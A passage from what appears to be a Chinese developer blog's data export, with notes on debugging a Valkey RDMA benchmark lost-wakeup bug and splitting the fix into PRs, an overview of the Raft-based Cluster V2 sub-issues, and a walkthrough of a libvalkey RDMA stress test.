后的默认值）。tx_length 只在 server 发来 RegisterXferMemory 后才被设置。但连接建立后，client 调用 connRdmaRegisterRx 注册 RX buffer，server 收到后也会发送它的 RX buffer 信息给 client。所以在第一次 write 之前，client 应该已经收到了 server 的 TX buffer 信息。 但在快速循环中呢？每当 client 消费完 1MB RX buffer，read_zc_done 调用 connRdmaRegisterRx 发送新 buffer 信息给 server。server 消费完自己的 1MB RX buffer 后，也会重新注册并发送新的 TX buffer 信息给 client。 关键场景：如果 client 发送了很多小请求（GET），server 很快回复，client 消费完了 TX buffer（1MB），但 server 还没来得及发新的 RegisterXferMemory，那 tx_offset == tx_length，valkeyRdmaWrite 就会进入阻塞 poll()！ 但等等，GET 请求很小（几十字节），1MB 的 TX buffer 可以容纳几万个请求。在 pipeline=1 的情况下不应该那么快用完。 除非 tx_offset 不会被重置直到 server 发来新的 RegisterXferMemory。让我确认：tx_offset 在每次 connRdmaSend 后增加 data_len。在 connRdmaHandleRecv 的 RegisterXferMemory case 中 tx_offset = 0 重置。 对于 pipeline=1 且 -c 1，每次只发一个 GET 请求（~30 字节），然后等回复。server 回复后 client 才发下一个请求。所以 TX buffer 不会累积。而且 server 消费完 TX buffer 后会发新的 RegisterXferMemory。 但 如果 server 的回复很大（比如 GET 的 value 很大）呢？不对，benchmark 的 -t get 获取的 key 可能不存在（返回 nil），或者 value 是之前 SET 设置的默认 3 字节。所以 server 回复很小。 让我重新看一下时间线，把所有的 connRdmaHandleCq 调用画出来： 循环 N (pipeline=1, -c 1): 1. resetClient → writeHandler: 1a. valkeyRdmaWrite: connRdmaHandleCq() \\#CQ-1: 可能处理 SEND 完成、RegisterXferMemory 等 connRdmaSend() → 发出 GET 请求 return 1b. aeCreateFileEvent(READABLE, readHandler) 1c. speculative readHandler: valkeyRdmaReadZC: 早期检查: recv_offset \u0026lt; rx_offset? 如果 CQ-1 处理了上一轮的 RECV_IMM → 可能有数据 → 返回 如果没有 → connRdmaHandleCq() \\#CQ-2 → 如果 server 已回复，处理 RECV_IMM → 返回数据 → 如果没有 → return 0 如果有数据: readHandler 处理 → clientDone → 进入循环 N+1 如果没有数据: 退出 2. epoll_wait 等待 (如果 1c 没读到数据) 3. comp_channel-\u0026gt;fd readable → readHandler → 正常处理 我终于想到了一个真正的问题场景！ 看 connRdmaHandleCq 在 EAGAIN 分支的行为（rdma.c:544-556）： if (ibv_get_cq_event(...) \u0026lt; 0) { if (errno != EAGAIN) return VALKEY_ERR; ev_cq = ctx-\u0026gt;cq; } else { ibv_ack_cq_events(ctx-\u0026gt;cq, 1); } ibv_req_notify_cq(ev_cq, 0); // re-arm 当连续快速调用 connRdmaHandleCq 两次时（比如 write 中一次，speculative read 中一次），两次都走 EAGAIN 分支时，会做两次 ibv_req_notify_cq。这是幂等的。 但如果第一次调用得到了 event（非 EAGAIN），ack 了它，re-arm 了，poll 了。第二次调用 EAGAIN（因为 event 已被消费），又 re-arm，又 poll。这也没问题。 真正的问题场景： T1: connRdmaHandleCq (write path): ibv_get_cq_event() → EAGAIN ibv_req_notify_cq() → arm CQ ibv_poll_cq() → 0 T2: connRdmaSend() → 发送 GET 请求 → 产生一个 unsignaled SEND WR (注意: send_flags 通常是 0，每 1024 个才是 SIGNALED) T3: speculative connRdmaHandleCq: ibv_get_cq_event() → EAGAIN (T1 的 arm 之后没有新 CQE) ibv_req_notify_cq() → arm (幂等) ibv_poll_cq() → 0 (server 还没回复) T4: 回到 epoll_wait CQ arm 了，等 server 回复... T5: server 回复 → RDMA WRITE WITH IMM → 接收端 CQ 上产生 RECV_RDMA_WITH_IMM CQE → event 产生 (因为 CQ arm 了) → comp_channel-\u0026gt;fd readable → epoll_wait 返回 → readHandler → connRdmaHandleCq → 处理 CQE → 正常 ✓ 这个也正常。 最后一个想法：也许问题在于 ibv_get_cq_event 在非阻塞 fd 上的 EAGAIN 是在当前 comp_channel 缓冲区为空时返回的。但 ibv_req_notify_cq 之后如果有一个 CQE 已经在 CQ 中（在 arm 之前就在了），arm 之后的第一个新 CQE 才会产生 event。那个已经在 CQ 中的 CQE 需要被 ibv_poll_cq 取走。 如果有这样的 CQE 存在，ibv_poll_cq 会取到它。但如果这个 CQE 是在 EAGAIN 分支中 ibv_req_notify_cq 和 ibv_poll_cq 之间产生的呢？ ibv_req_notify_cq() → arm --- CQE_X 到达 --- → (arm 被消耗，event_X 产生) ibv_poll_cq() → CQE_X → 处理 ibv_poll_cq() → 0 // event_X 在 comp_channel 上 // CQ 不再 arm（被 CQE_X 消耗了） // 需要重新 arm 但代码不会重新 arm！ connRdmaHandleCq 在 poll 完后直接返回，不会再次 arm。下一次调用 connRdmaHandleCq 时： ibv_get_cq_event() → event_X ← 消费 ibv_ack_cq_events() ibv_req_notify_cq() → re-arm ibv_poll_cq() → 可能有新 CQE 或 0 所以 event_X 会在下一次调用时被消费，CQ 会被重新 arm。这看起来也没问题。 但关键问题是：下一次调用 connRdmaHandleCq 什么时候发生？ 如果 readHandler 回到 epoll_wait，而 comp_channel-\u0026gt;fd 上有 event_X（readable），epoll_wait 会立即返回，调用 readHandler，调用 connRdmaHandleCq。这是正常的。 但如果 speculative readHandler 在递归中已经通过早期检查（recv_offset \u0026lt; rx_offset）读取了数据，它不会调用 connRdmaHandleCq。然后递归的 writeHandler 中的 connRdmaHandleCq 会消费 event_X。然后 speculative read guard 跳过了第二次 speculative read。此时 CQ 已被 re-arm，comp_channel 上没有 event。 如果新请求的回复还没来，epoll_wait 等待——正常，新回复来了产生新 event。 我现在倾向于认为纯逻辑上没有永久 lost wakeup，但存在一个性能问题：在某些时序下，speculative read guard 阻止了及时处理已缓冲的数据，导致不必要的 epoll_wait → 250ms timeout → 处理。 让我验证一个场景。考虑 server 回复非常快（微秒级），benchmark 循环： writeHandler: valkeyRdmaWrite → connRdmaHandleCq: ibv_get_cq_event() → event_A (上一轮 server 回复的 event) ibv_ack_cq_events() ibv_req_notify_cq() → arm ibv_poll_cq() → CQE_RECV_IMM (上一轮 server 回复) + CQE_SEND (当前请求) // 等等 - 这里 ibv_poll_cq 取到了 RECV_IMM 但这轮还没发请求 不对，这是 write path 中调用 connRdmaHandleCq，发请求之前。所以这里处理的 CQE 是之前遗留的。RECV_IMM 是 server 对上一轮请求的回复。 writeHandler: valkeyRdmaWrite → connRdmaHandleCq: 处理了上一轮的回复数据 (rx_offset 更新) connRdmaSend() → 发出新请求 return aeCreateFileEvent(READABLE) speculative readHandler (rdma_in_speculative_read=1): valkeyRdmaReadZC: 早期检查: recv_offset \u0026lt; rx_offset → YES! (write 的 connRdmaHandleCq 处理了数据) 返回数据 valkeyReaderFeed → valkeyGetReply → reply! pending-- → 0 → clientDone → resetClient → writeHandler(递归) 递归 writeHandler: valkeyRdmaWrite → connRdmaHandleCq: ibv_get_cq_event() → EAGAIN (上面已经消费了) ibv_req_notify_cq() → arm ibv_poll_cq() → CQE_SEND (发送上一轮请求的完成)? 或者是新请求的 RECV_IMM？server 这么快回复了？ 如果 server 已经回复了: → CQE_RECV_IMM → rx_offset 更新 ibv_poll_cq() → 0 connRdmaSend() → 发出另一个新请求 return aeCreateFileEvent(READABLE) speculative read 被跳过! (guard) 返回到第一个 speculative read 的 readHandler: while (c-\u0026gt;pending) → c-\u0026gt;pending 已被 resetClient 重置为新值 valkeyGetReply → 尝试从 reader 中读取 → 可能有数据也可能没有 如果有数据 (reader 中还有上一次 feed 的残余?): 处理 → pending-- 如果没有: break readHandler 退出 rdma_in_speculative_read = 0 等一下！这里有一个关键问题！ 当递归的 writeHandler 中 connRdmaHandleCq 处理了新请求的回复数据（rx_offset 更新），但 speculative read 被 guard 跳过了。然后控制返回到第一个 readHandler 的 while 循环。 此时 c-\u0026gt;pending 已被 resetClient 重置为新的请求的 pending 数。但 reader buffer 中有新请求的回复数据吗？ valkeyRdmaReadZC 返回数据后，valkeyBufferRead 调用 valkeyReaderFeed 将数据喂给 reader。然后 read_zc_done 可能重置 RX buffer。在第一次 readHandler 中处理完上一轮的 reply 后，进入 clientDone → 递归。 递归中 writeHandler 的 connRdmaHandleCq 可能消费了新回复的 CQE（rx_offset 更新），但没有人调用 valkeyBufferRead 来读取这个数据并 feed 给 reader。因为 speculative read 被跳过了。 回到第一个 readHandler 的 while 循环时： - c-\u0026gt;pending 是新值（比如 1） - reader 中没有新数据（因为 valkeyBufferRead 没被再次调用） - valkeyGetReply → valkeyNextInBandReplyFromReader → 返回 NULL - reply == NULL → break 退出 while 然后 readHandler 退出。此时 recv_buf 中有数据（rx_offset 被更新了），但 reader 不知道！ 回到 epoll_wait。comp_channel-\u0026gt;fd 是否可读？ - 递归 writeHandler 的 connRdmaHandleCq 在 EAGAIN 分支 re-arm 了 CQ - 如果新请求的回复 CQE 在 arm 之后到达（被 poll 取走），event 已产生 - 但这个 event 没有被 ibv_get_cq_event 消费（EAGAIN 分支），所以 event 还在 comp_channel 上 等等，这取决于 CQE 是在 arm 之前还是之后到达的。让我仔细看： 递归 writeHandler 的 connRdmaHandleCq: ibv_get_cq_event() → EAGAIN (无 event) ibv_req_notify_cq() → arm --- CQE_NEW_REPLY 到达 (arm 之后) → event_B 产生 --- ibv_poll_cq() → CQE_NEW_REPLY → rx_offset 更新 ibv_poll_cq() → 0 return event_B 在 comp_channel 上。回到 epoll_wait 时，fd 是 readable 的 → 立即返回 → readHandler → valkeyBufferRead: - valkeyRdmaReadZC 的早期检查: recv_offset \u0026lt; rx_offset → YES（data 在 recv_buf 中） - 返回数据 → feed reader → 解析 reply → 正常 所以如果 event 存在，epoll 会立即返回，不会卡住。 但如果 CQE 在 arm 之前就已经在 CQ 中呢？ 递归 writeHandler 的 connRdmaHandleCq: ibv_get_cq_event() → EAGAIN --- 此时 CQ 中已有 CQE_NEW_REPLY (在之前的 arm 之后产生的, event_B 已存在) --- 哦不对，如果 event_B 已存在，ibv_get_cq_event 不应该返回 EAGAIN 是的！如果有 pending event，ibv_get_cq_event 会返回它。所以如果返回 EAGAIN，说明没有 event，也意味着 CQ 中的 CQE（如果有的话）不是在 arm 之后产生的——它们不会产生 event。 但 ibv_poll_cq 还是会取到它们。取到后，event 不存在，CQ 的 arm 也没有被消耗（因为 CQE 是在 arm 之前就在的——不对，EAGAIN 说明之前的 arm 还有效，没有新 CQE 消耗它）。 实际上，EAGAIN 意味着之前的所有 event 都已被消费。如果 CQ 中有遗留 CQE，它们是在 arm 之前就存在的（所以没有产生 event），ibv_poll_cq 取到它们后 arm 状态不变。 然后在 ibv_req_notify_cq() re-arm 之后，如果又有新 CQE 到达： - arm 有效 → 产生 event → comp_channel fd readable 如果在 arm 和 poll 之间新 CQE 到达： - arm 被消耗，event 产生 - poll 取走 CQE - 但 event 在 comp_channel 上未消费 - CQ 不再 arm 这就是关键！如果 poll 取走了 arm 后的 CQE 但 CQ 不再被 arm，下一个 CQE 不会产生 event！ 但代码中的 poll 是 drain-all 循环（goto pollcq），所以之后如果没有更多 CQE，就返回了。CQ 不再 arm。下一次 connRdmaHandleCq 时： ibv_get_cq_event() → event (上次 arm 后产生的, 未消费) ibv_ack_cq_events() ibv_req_notify_cq() → re-arm ibv_poll_cq() → ... 但等等，event 已经在 comp_channel 上了（上次 arm-after-CQE 产生的），所以 ibv_get_cq_event 能读到它。那 comp_channel-\u0026gt;fd 也是 readable 的，epoll_wait 会返回。 所以理论上不应该有永久阻塞。event 总会在 comp_channel 上等着被读取。 让我从根本上重新思考。也许问题不是 comp_channel event 丢失，而是 comp_channel-\u0026gt;fd 被从 epoll 中删除了。 看 resetClient: aeDeleteFileEvent(el, c-\u0026gt;context-\u0026gt;fd, AE_READABLE); // ← 从 epoll 删除! 然后 writeHandler 中： aeCreateFileEvent(el, c-\u0026gt;context-\u0026gt;fd, AE_READABLE, readHandler, c); // ← 重新添加到 epoll 但如果在 aeDeleteFileEvent 和 aeCreateFileEvent 之间，一个 event 到达了呢？ epoll 使用 level-triggered 模式。如果 fd 被从 epoll 删除再添加，之前的 event 不会丢失——只要 fd 本身仍然是 readable 的，re-add 后 epoll_wait 会立即返回。 所以这也不是问题。 我开始怀疑问题可能真的更简单——也许是 valkeyRdmaReadZCDone 中 connRdmaRegisterRx 的影响。 每当 recv_offset == recv_length (1MB buffer 用完) 时，read_zc_done 调用 connRdmaRegisterRx： ctx-\u0026gt;rx_offset = 0; ctx-\u0026gt;recv_offset = 0; 这重置了指针。如果下一次 server 发来的数据在 client 重新注册之前到达——不可能，因为 server 还没收到新的 RegisterXferMemory。 但 connRdmaRegisterRx 发送的是一个 SEND（rdmaSendCommand，使用 IBV_SEND_SIGNALED）。这个 SEND 的完成 CQE 会在 CQ 上。如果这个 CQE 是在 arm 之后产生的，它会产生一个 event，使 comp_channel-\u0026gt;fd readable。 这可能导致虚假唤醒！ readHandler 被调用，但 connRdmaHandleCq 只处理了 SEND 完成（不是 RECV_IMM），rx_offset 没有更新，valkeyRdmaReadZC 返回 0，readHandler 无用地退出。 但这不会导致卡顿——只是一次空轮。 OK，经过极其深入的分析，我现在提出一个新的理论： 问题出在 valkeyBufferRead 只调用一次 read_zc。如果 CQ 中有多个 RECV_IMM completion（server 发送了多个 RDMA WRITE），connRdmaHandleCq 的 drain-all 循环会处理它们全部，rx_offset 会一次性增加很多。read_zc 返回所有这些数据，reader 一次性 feed 了很多数据。 但关键是 read_zc_done 在 recv_offset == recv_length 时会调用 connRdmaRegisterRx 重置 rx_offset = 0, recv_offset = 0。而 read_zc 中设置了 recv_offset = rx_offset。所以如果 rx_offset 恰好等于 recv_length，read_zc_done 会重置一切。 但如果 read_zc 中 connRdmaHandleCq 处理了多个 RECV_IMM，rx_offset 超过了 recv_length？ 不会，因为有 assert: assert(byte_len + ctx-\u0026gt;rx_offset \u0026lt;= ctx-\u0026gt;recv_length)。 到这里，我需要承认这个问题非常微妙。让我给出我的最终诊断和修复建议。 之后我们还要做PR的拆分 # 我们分成3个PR来做:\nserver crash # 1.server crash,这个直接改src/rdma.c.\nhttps://github.com/valkey-io/valkey/pull/3448\n这个还需要通过,所以这个原理又是什么?\nbenchmark简化 # 2.benchmark,这个也是单独修改,这里相当于是做进一步的抽象,(就是benchmark.c配合在libvalkey中的代码进行修改.)\nhttps://github.com/valkey-io/valkey/pull/3492\n这里本质上是简化重构和做了简单的死锁修复.\n我要在valkey上首先替换成最新的libvalkey,然后在我的分支上进行相关的测试即可.\n但是我还是发现存在问题.\n我们要使用什么测试指令:\nOverall LGTM. would you please bump libvalkey into valkey manually, then test benchmark with 1K, 32k, 1M KV , then paste the test result?\n# 1 KiB ./src/valkey-benchmark --rdma -h 10.0.0.1 -p 6379 -t set,get -n 100000 -c 32 -d 1024 # 32 KiB ./src/valkey-benchmark --rdma -h 10.0.0.1 -p 6379 -t set,get -n 50000 -c 16 -d 32768 # 1 MiB ./src/valkey-benchmark --rdma -h 10.0.0.1 -p 6379 -t set,get -n 10000 -c 4 -d 1048576 现在会直接卡住,我不知道是libvalkey的问题还是我们更改benchmark产生的问题?\n~/Project/valkey fix/rdma-benchmark-speculative-read* ❯ ./src/valkey-benchmark --rdma -h 10.0.0.1 -p 6379 -t set,get -n 100000 -c 32 -d 1024 ^CT: rps=0.0 (overall: 18.2) avg_msec=-nan (overall: 1.418) 32 requests 对照实验,在当前的unstable中,贴入最新的libvalkey,实验看是否会出现卡死的问题\n在unstable分支上进行实验发现没有问题,应该就是我们的修改引入了bug,妈的,全是问题怎么修改啊.\n其实可以直接进行控制,因为是subtree:\ngit fetch upstream git checkout main git reset --hard upstream/main # 与 valkey-io 官方 main 完全一致（会丢掉未提交修改） make clean \u0026amp;\u0026amp; make USE_RDMA=1 libvalkey # 3.libvalkey,单独在另一个仓库进行修改.\nhttps://github.com/valkey-io/libvalkey/pull/301\n本次libvalkey的问题交给pizhenwei来处理,我们进行验证:\n@Ada-Church-Closure tried to fix this issue in another PR, I reviewed it and realized the reason of the lost POLLIN/EPOLLIN event, I implement a fix:\nhttps://github.com/pizhenwei/valkey/tree/libvalkey-lost-event\nI can\u0026rsquo;t reproduce the same issue on my platform, would you please try this version and paste the test result?\n就是比如说,当你想验证别人的分支修改的时候,我想尝试看看别人的验证是否正确,或者给别人做code review的时候:\ngit remote add pizhenwei https://github.com/pizhenwei/valkey.git # 添加远程即可 git fetch pizhenwei libvalkey-lost-event 我们先查看一下当前分支上修改了什么?\ngit log pizhenwei/libvalkey-lost-event --oneline -5 git diff unstable..pizhenwei/libvalkey-lost-event 因为是配合修改的,我们首先需要创建一个测试的分支:\ngit checkout -b test-maintainer-libvalkey-fix pizhenwei/libvalkey-lost-event 然后从我们的分支上把整个文件valkey-benchmark.c都拿过来→你不能这么做,因为我们目前的版本已经出现了差异:\n其实你只要把修改应用过去就OK了.\n","date":"2026-07-05","externalUrl":null,"permalink":"/zh-cn/valkey/bugfix-benchmark-rdma-lost-wakeup/","section":"Valkey","summary":"\u003cp\u003e\u003ca href=\"https://github.com/valkey-io/valkey/issues/3345#issuecomment-4084382404\" target=\"_blank\"\u003ehttps://github.com/valkey-io/valkey/issues/3345#issuecomment-4084382404\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e用户使用benchmark客户端GET有问题?初步分析就是丢失唤醒的问题.\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e删除代码比加上代码牛逼.\u003c/p\u003e\u003c/blockquote\u003e\n\n\n\u003ch3 class=\"relative group\"\u003e\u003cstrong\u003egit清理\u003c/strong\u003e \n    \u003cdiv id=\"git%E6%B8%85%E7%90%86\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#git%E6%B8%85%E7%90%86\" aria-label=\"锚点\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e git clean \u003cspan class=\"c1\"\u003e# 清理未跟踪的文件\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003ccode\u003egit clean -nd src/unit\u003c/code\u003e\u003c/p\u003e","title":"valkey-benchmark端RDMA协议的丢失唤醒问题","type":"valkey"},{"content":"最近，valkey社区在尝试新的feature,Cluster总线通信方式利用Raft协议，笔者刚学完Raft和主从相关的内容，同时认领了一个issue。 于是想尝试多解决几个这里的问题，就深度研究一下。\n以下是几个社区中讨论的链接： 父issue 分为多个subissues：我们总结一下：\n1.核心底座：Raft 共识与状态机持久化 # 这是 Raft 算法最原教旨主义的部分，确保集群在断电或崩溃后不丢失状态。\n#3857 状态持久化： 保存当前的任期（Term）、投票给了谁（VotedFor）以及核心的追加日志（Log）。这是节点恢复身份的基石。 #3858 日志压缩与快照： 随着时间推移，Raft 日志会无限膨胀。必须定期对状态机打快照（Snapshot），并清理旧日志，防止磁盘被打爆。 #3859 崩溃恢复： 节点重启后，如何通过读取本地日志和向 Leader 拉取缺失日志，平滑地重新加入集群。 2.网络韧性：分区容错与高可用 # 这部分极其考验对底层网络和分布式脑裂（Split-brain）的理解，涉及节点探活和异常状态下的隔离。\n#3860 Pre-Vote 协议： 防止网络分区恢复后，被隔离的少数派节点带着极高的假 Term 强行打断正常 Leader 的任期。 #3861 少数派分区检测与 Leader 降级： 当 Leader 发现自己被隔离到了少数派网络中，必须主动放弃领导权，停止对外服务。 #3862 基于复制流的故障检测（去中心化租约）： 放弃传统高频的 Ping-Pong 心跳，复用数据同步流来判断节点存活，极大降低网络 I/O 消耗。 3.数据控制面：分片与状态流转 # 这一层将 Valkey 特有的“Slot（槽位）”概念与 Raft 引擎深度绑定，实现数据分片的强一致路由。\n#3863 Shard 级别的 Epoch： 细化版本号控制，用于网络隔离时的请求拦截（Fencing），避免客户端向旧的 Master 写入脏数据。 #3865 将 MIGRATING/IMPORTING 状态存入日志： 让 Slot 的迁移过程变成具备原子性的共识操作。 #3874 Leader 侧提案预校验（新引入）： 在将操作打包成日志广播前，Leader 先自己校验一下合法性，拒绝不合理的变更，减少无意义的网络浪费。 4.集群拓扑与角色演进 # 打破常规 Raft 的局限，赋予集群更高的扩展性和更灵活的运维手段。\n#3866 非投票成员 (Learner)： 只同步数据不参与投票，打破 Raft 节点数量越多性能越差的魔咒。 #3868 合并非单节点集群： 解决两个已经有独立状态机的集群如何安全“联姻”的问题。 #3869 同步复制的晋升工作流： 精细化主从切换时的状态机流转。 #3864 通过 REPLCONF 进行手动故障转移： 保留人工介入强行切换主从的工程后门。 5.全局生态与客户端适配 # 提供“上帝视角”的控制平面，相对来说比较外围一些。\n#3867 CLI 工具链兼容： 修改命令行客户端，剥离与 Raft 异步阻塞相冲突的 MULTI/EXEC 事务逻辑。 #3875 集群级别的 ACL 和 Functions（新引入）： 这是一个极其关键的质变。过去配置用户权限（ACL）需要去每个节点单独敲命令；有了 Raft 后，集群终于有了一个全局可靠的元数据中心，只需配置一次，全网自动强一致下发。 社区关于开发动机的讨论 主要是为了解决第一代基于 Gossip 协议的集群架构在超大规模部署、云原生环境以及极端负载下暴露出的底层系统设计缺陷。\n1.控制面与数据面的资源争抢 (Resilience \u0026amp; Threading) # 单线程瓶颈： 在 V1 架构中，处理集群总线（Cluster Bus）心跳和处理客户端数据读写的逻辑，都挤在同一个主线程（Main Thread）中。 假性故障转移 (False Failovers)： 当遇到极高并发的客户端读写或者海量的 Pub/Sub 消息时，主线程被长期霸占，导致节点无法及时回复其他节点的健康检查 Ping。这种“控制平面被数据平面饿死”的情况，会引发集群误判节点死亡，从而触发毫无意义的主从切换和集群震荡。 2.拓扑状态缺乏强一致性 (Strong Consistency \u0026amp; Metadata) # “最终一致”的局限性： V1 集群依靠 Gossip 协议传播拓扑（谁拥有哪个 Slot，谁是主节点）。但在网络分区等异常情况下，节点的 Epoch（任期版本号）可以在没有多数派共识的情况下被强行修改。这导致拓扑状态不仅不是强一致的，甚至在某些边界条件下连“最终一致”都无法保证，极易引发脑裂和级联故障导致数据丢失。 全局配置噩梦： 目前 Valkey 没有一个中心化的元数据存储。如果想要更新 ACL（访问控制）、加载 Functions 或修改全局配置，必须将命令手动分发到集群的每一个节点上，极易产生配置漂移。 3.网络拓扑的数学极限 (Scalability \u0026amp; Gossip Overhead) # 网络通信复杂度： Gossip 协议要求集群内的节点两两建立全连接网状拓扑（Full Mesh）并频繁交换状态。随着节点数量增加，集群总线上的冗余通信量呈指数级爆发。 500 节点天花板： 这种设计导致 V1 集群的规模上限被死死卡在 500 个节点左右，完全无法满足现代大型业务线动辄上千节点的横向扩展需求。 4.现代基础设施适配度差 (Cloud-Native \u0026amp; Operability) # 容器化与动态 IP 不友好： 社区用户指出，在 Kubernetes 等无状态、动态 IP 的临时环境（Ephemeral Environments）中，V1 集群的节点自举（Bootstrap）和替换非常僵化。配置文件中容易堆积失效的 IP 记录，且不同查询命令（如 cluster nodes 与 cluster shards）返回的节点状态经常自相矛盾。 高可用门槛过高： V1 集群的选主只允许 Primary（主节点）投票，这意味着一个具备基础容灾能力的集群至少需要 3 个主节点（形成多数派）。V2 期望引入“参与投票的 Replica（从节点）”，让极小规模的部署（例如单 Shard 架构）也能享受内置的自动故障转移，从而完全吃掉传统 Sentinel（哨兵）模式的应用场景。 被动的路由更新： 目前当槽位发生迁移时，客户端往往是通过撞墙（收到 MOVED 报错）才去重新拉取路由表。V2 计划借助 RESPV3 协议，主动向客户端推送拓扑变更（Push 机制），大幅降低客户端 SDK 的路由寻址开销。 ","date":"2026-07-02","externalUrl":null,"permalink":"/zh-cn/valkey/feature-raft-cluster-bus-v2/","section":"Valkey","summary":"\u003cp\u003e最近，valkey社区在尝试新的feature,Cluster总线通信方式利用Raft协议，笔者刚学完Raft和主从相关的内容，同时认领了一个issue。\n于是想尝试多解决几个这里的问题，就深度研究一下。\u003c/p\u003e\n\u003cp\u003e以下是几个社区中讨论的链接：\n\u003ca href=\"https://github.com/valkey-io/valkey/issues/3856\" target=\"_blank\"\u003e父issue\u003c/a\u003e\n分为多个subissues：我们总结一下：\u003c/p\u003e\n\n\n\u003ch3 class=\"relative group\"\u003e1.核心底座：Raft 共识与状态机持久化 \n    \u003cdiv id=\"1%E6%A0%B8%E5%BF%83%E5%BA%95%E5%BA%A7raft-%E5%85%B1%E8%AF%86%E4%B8%8E%E7%8A%B6%E6%80%81%E6%9C%BA%E6%8C%81%E4%B9%85%E5%8C%96\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#1%E6%A0%B8%E5%BF%83%E5%BA%95%E5%BA%A7raft-%E5%85%B1%E8%AF%86%E4%B8%8E%E7%8A%B6%E6%80%81%E6%9C%BA%E6%8C%81%E4%B9%85%E5%8C%96\" aria-label=\"锚点\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h3\u003e\n\u003cp\u003e这是 Raft 算法最\u003cstrong\u003e原教旨主义\u003c/strong\u003e的部分，确保集群在断电或崩溃后不丢失状态。\u003c/p\u003e","title":"Raft-based cluster bus (Cluster V2)","type":"valkey"},{"content":" 我就直接认为这是一个新的feature了，就是利用libvalkey的client客户端进行模拟的压测，同时是需要支持多线程的。\n本次修改的测试逻辑 # 这算是一个新的feature,我们需要提一个新的PR来解决问题。\n在tests/rdma的目录下方，增加libvalkey-test.c，直接使用libvalkey的client相关的API来进行测试即可。\n我们先研究一下这里的测试逻辑.\ntests/rdma 测试的逻辑主要写在这里，但是明显不是常规的测试:\n目录结构:\n文件 作用 run.py 主编排：编译、找 RDMA 网卡、起 valkey-server、跑 rdma-test、清理 rdma_env.py root 下 setup/cleanup 软 RDMA（RXE 模块、rdma link add） rdma-test.c C 测试客户端：自己实现 RDMA CM/verbs 协议，发 RESP 命令 Makefile 编译 rdma-test（链接 librdmacm、libibverbs） 这里应该是类似于冒烟测试,pizhenwei直接又手写了一个RDMA的小客户端进行测试。\n但是明显没有打开IO多线程。\n还是一样先build一次: AI先实现完了，我们看看是怎么实现的？\nmake -j$(nproc) BUILD_RDMA=yes USE_FAST_FLOAT=yes make -C tests/rdma 笼统的来讲，就是利用libvalkey下的client 相关的API来类似模拟我们的这条压力测试命令,然后再修改一下构建的文件，但是代码量有点大，需要理解。\nsudo prlimit --memlock=unlimited --pid $$ ./src/valkey-benchmark -h 10.0.0.1 -p 6379 -d 256 --threads 16 -c 500 -P 256 -n 50000000 -t set,get --rdma 我们在原来的分支上直接进行了测试和修改，做了很多commit,但是我想单独把这个测试放在一个PR里，就是撤销这个分支上迄今为止的部分测试，然后重放在unstable分支上面证明存在问题。\n你可以自己进行参数的调整并且复现:\n~/Project/valkey rdma-libvalkey-test* ❯ sudo ./runtest-rdma --install-rxe \\ --io-threads 8 \\ -c 500 -P 512 -n 1000000 --timeout 600 这种条件下一定会导致断言错误。\n所以需要稍微上调一下，但是又不能太高，防止时间过长或者机器OOM 总之是上升了一些参数\nlibvalkey-test.c这个测试在干什么？ # 你可以这样理解：用官方 libvalkey 客户端，在 RDMA 上复现 valkey-benchmark 式的 pipeline 压测。\n这个测试在验证什么？ # 对比同目录的 rdma-test.c：\n功能/文件名 rdma-test libvalkey-test 客户端栈 手写 RDMA CM / CQ / QP libvalkey（deps/libvalkey） 协议 自己拼 RESP、自己读 RDMA 缓冲 libvalkey 格式化 RESP + RDMA 传输 并发 4 线程，每线程 1 连接 16 worker × 每 worker 多个连接 模式 逐条 SET/GET pipeline：先 append 一批，再 flush，再 drain 目标 功能冒烟（PING/SET/GET/BGSAVE） RDMA + IO thread + 高 pipeline 下的稳定性 你要修的 bug（cmd_queue.len == 0 assert）需要同时满足：\n很多连接同时 inflight 命令（pipeline） Server 开 IO thread 读路径（run.py 第二阶段才开） 这个程序就是为此设计的 客户端侧负载生成器。\n整体架构 # flowchart TB subgraph main[\u0026#34;main()\u0026#34;] init[valkeyInitiateRdma] spawn[创建 16 个 pthread] end subgraph worker[\u0026#34;worker_main() × 16\u0026#34;] conn[每 worker 建 N 个 valkeyContext RDMA 连接] set[run_phase SET] get[run_phase GET] end subgraph per_conn[\u0026#34;每个 client_state / valkeyContext\u0026#34;] obuf[obuf: 待发 RESP 命令队列] reader[reader: 已收 RESP 解析队列] end main --\u0026gt; worker worker --\u0026gt; per_conn obuf --\u0026gt;|valkeyBufferWrite → RDMA| server[valkey-server RDMA] server --\u0026gt;|RDMA 响应| reader 这里的基本逻辑就是开很多线程，然后每个线程还同时管理很多连接。\n注意此处线程和连接的划分:\nfor (int i = 0; i \u0026lt; cfg.threads; i++) { workers[i].cfg = \u0026amp; cfg; // 设置当前worker的配置 workers[i].thread_id = i; // 这是第几个线程 workers[i].first_client = (cfg.clients * i) / cfg.threads; // 本线程对应的第一条连接 workers[i].last_client = (cfg.clients * (i + 1)) / cfg.threads; // 本线程对应的最后一条连接 if (pthread_create( \u0026amp; threads[i], NULL, worker_main, \u0026amp; workers[i])) { // 根据我们刚才的设置来创建这个线程，然后进行处理 fprintf(stderr, \u0026#34;failed to create thread %d\\n\u0026#34;, i); ret = 1; cfg.threads = i; break; } } 分配总的请求量：\nstatic long long requests_for_client(const test_config *cfg, int client_id) { long long base = cfg-\u0026gt;requests / 